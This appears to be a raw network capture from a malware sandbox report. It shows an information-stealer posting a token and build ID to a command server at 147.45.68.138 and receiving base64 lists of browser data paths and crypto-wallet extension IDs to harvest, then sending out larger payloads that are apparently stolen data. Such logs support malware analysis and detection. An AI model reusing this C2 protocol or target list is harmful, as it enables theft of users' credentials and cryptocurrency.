Aug 30, 2024 06:18:33.993649960 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="mode"1------DBFBFBGDBKJJKFIEHJDB--
Aug 30, 2024 06:18:34.577888966 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Aug 30, 2024 06:18:34.577912092 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Aug 30, 2024 06:18:34.664437056 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:18:34.665721893 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="mode"2------IJJJKEGHJKFHJKFHDHCF--
Aug 30, 2024 06:18:36.088995934 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 30, 2024 06:18:36.089010954 CEST	1164	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Aug 30, 2024 06:18:36.089020967 CEST	1236	IN	Data Raw: 6a 62 32 4e 6a 59 6d 64 69 61 33 42 76 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 4d 48 78 69 61 47 64 6f 62 32 46 74 59 58 42 6a 5a 48 42 69 62 32 68 77 61 47 6c 6e 62 32 39 76 59 57 52 6b 61 57 35 77 61 Data Ascii: jb2NjYmdia3BvfDF8MHwwfEF1dGhlbnRpY2F0b3J8MHxiaGdob2FtYXBjZHBib2hwaGlnb29vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfF
Aug 30, 2024 06:18:36.089035034 CEST	1164	IN	Data Raw: 7a 57 45 4d 74 51 6e 4a 76 64 33 4e 6c 63 6e 77 77 66 47 39 69 62 32 39 75 59 57 74 6c 62 57 39 6d 63 47 46 73 59 32 64 6e 61 47 39 6a 5a 6d 39 68 5a 47 39 6d 61 57 52 71 61 32 74 72 66 44 46 38 4d 48 77 77 66 46 4a 70 63 32 55 67 4c 53 42 42 63 Data Ascii: zWEMtQnJvd3NlcnwwfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfFJpc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaW
Aug 30, 2024 06:18:36.089394093 CEST	1164	IN	Data Raw: 7a 57 45 4d 74 51 6e 4a 76 64 33 4e 6c 63 6e 77 77 66 47 39 69 62 32 39 75 59 57 74 6c 62 57 39 6d 63 47 46 73 59 32 64 6e 61 47 39 6a 5a 6d 39 68 5a 47 39 6d 61 57 52 71 61 32 74 72 66 44 46 38 4d 48 77 77 66 46 4a 70 63 32 55 67 4c 53 42 42 63 Data Ascii: zWEMtQnJvd3NlcnwwfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfFJpc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaW
Aug 30, 2024 06:18:36.089412928 CEST	1048	IN	Data Raw: 70 66 44 46 38 59 57 35 76 61 32 64 74 63 47 68 75 59 33 42 6c 61 32 74 6f 59 32 78 74 61 57 35 6e 63 47 6c 74 61 6d 31 6a 62 32 39 70 5a 6d 4a 38 4d 58 77 77 66 44 42 38 53 45 46 57 51 55 67 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 35 75 59 Data Ascii: pfDF8YW5va2dtcGhuY3Bla2toY2xtaW5ncGltam1jb29pZmJ8MXwwfDB8SEFWQUggV2FsbGV0fDF8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobm
Aug 30, 2024 06:18:36.089684963 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 30, 2024 06:18:36.089720964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 30, 2024 06:18:36.090759993 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 147.45.68.138 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="mode"21------HJKECAAAFHJECAAAEBFC--
Aug 30, 2024 06:18:36.679908037 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Aug 30, 2024 06:18:36.906853914 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 147.45.68.138 Content-Length: 7393 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:36.906899929 CEST	7393	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------AAFIJKKEHJDHJK
Aug 30, 2024 06:18:37.591955900 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:18:37.629939079 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 147.45.68.138 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
